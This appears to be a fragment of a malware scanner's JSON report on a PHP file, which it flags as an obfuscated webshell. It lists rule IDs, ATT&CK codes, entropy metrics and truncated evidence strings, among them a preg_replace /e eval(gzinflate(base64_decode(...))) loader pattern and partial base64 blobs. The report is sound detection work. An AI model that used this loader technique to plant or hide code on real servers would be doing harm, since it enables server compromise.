"strings.max_length = 4610.00" ], "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string", "l": 1 }, { "c": 0.949999988079071, "d": "PHP opening tag present", "e": [ "\u003c?php" ], "i": "metadata/lang/scripted::php-open-tag", "l": 1 }, { "a": "T1027", "c": 0.949999988079071, "d": "preg_replace with /e modifier (code execution)", "e": [ "preg_replace(\"/.*/e\"" ], "i": "objectives/anti-static/obfuscation/string/encoding::preg-replace-eval", "l": 4, "m": "B0032" }, { "a": "T1059.006", "c": 0.9800000190734863, "d": "eval gzinflate base64 chain", "e": [ "preg_replace(\"/.*/e\",\"eval(gzinflate(base64_decode('lZrdiuTKEYTvDX6HZdkL++bQUv1JLH6TvlH39MAB4+WAMfv4..." ], "i": "micro-behaviors/process/interpreter/eval::eval-gzinflate-base64", "l": 4, "m": "E1059" }, { "a": "T1027", "c": 0.699999988079071, "d": "Very low whitespace ratio (minified/compressed)", "e": [ "text.whitespace_ratio = 0.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace", "l": 2, "m": "B0032" }, { "a": "T1027", "c": 0.800000011920929, "d": "High overall text entropy (encoded", "e": [ "text.char_entropy = 6.02" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::high-text-entropy", "l": 2, "m": "B0032" }, { "c": 0.6000000238418579, "d": "Very long base64 strings present", "e": [ "lZrdiuTKEYTvDX6HZdkL++bQUv1JLH6TvlH39MAB4+WAMfv4VkZ9UaUZm4Vz0cx0t1SVlRkZGZnqbz+f6/7H9uXLb//48vX+s93O13r/Wcv5avef5X2+j+/q83wt5yv1" ], "i": "objectives/anti-static/obfuscation/string/base64::long-base64-in-strings", "l": 3 }, { "c": 1.0, "d": "php code embedded in string", "e": [ "Detected php at offset 0x0" ], "i": "metadata/lang/embedded::php", "l": 2 }, { "c": 0.8999999761581421, "d": "Decoded unicode-escape content", "e": [ "preg_replace(\"/.*/e\",\"eval(gzinflate(bas \u003cunicode-escape\u003e" ], "i": "metadata/encoded-payload/unicode-escape", "l": 2 }, { "c": 0.8999999761581421, "d": "Detects a web shell", "e": [ "\u003c104 bytes\u003e" ], "i": "third_party/SigBase/Dkshell/4000Bd83451F0D8501A9Dfad60Dce39E55Ae167D", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell obfuscated by encoding", "e": [ "\\x65\\x76\\x61\\x6C\\x28", "\u003c?", "\u003c?php" ], "i": "third_party/SigBase/WEBSHELL/PHP/OBFUSC/Encoded", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell using some kind of eval with encoded blob to decode, which is checked with YARAs math.entropy module", "e": [ "\u003c?", "preg_replace(\"/.*/e", "\u003c?php" ], "i": "third_party/SigBase/WEBSHELL/PHP/Encoded/Big", "l": 5 } ], "sha": "7f4a39a8ddf00df7f20906fc09105f32c18964452367f4bd656bbb0a584f4b32", "path": "cf24af7fce2b3aef4a9510ae2ded4c66", "type": "php" } ], "tv": "87c42" } }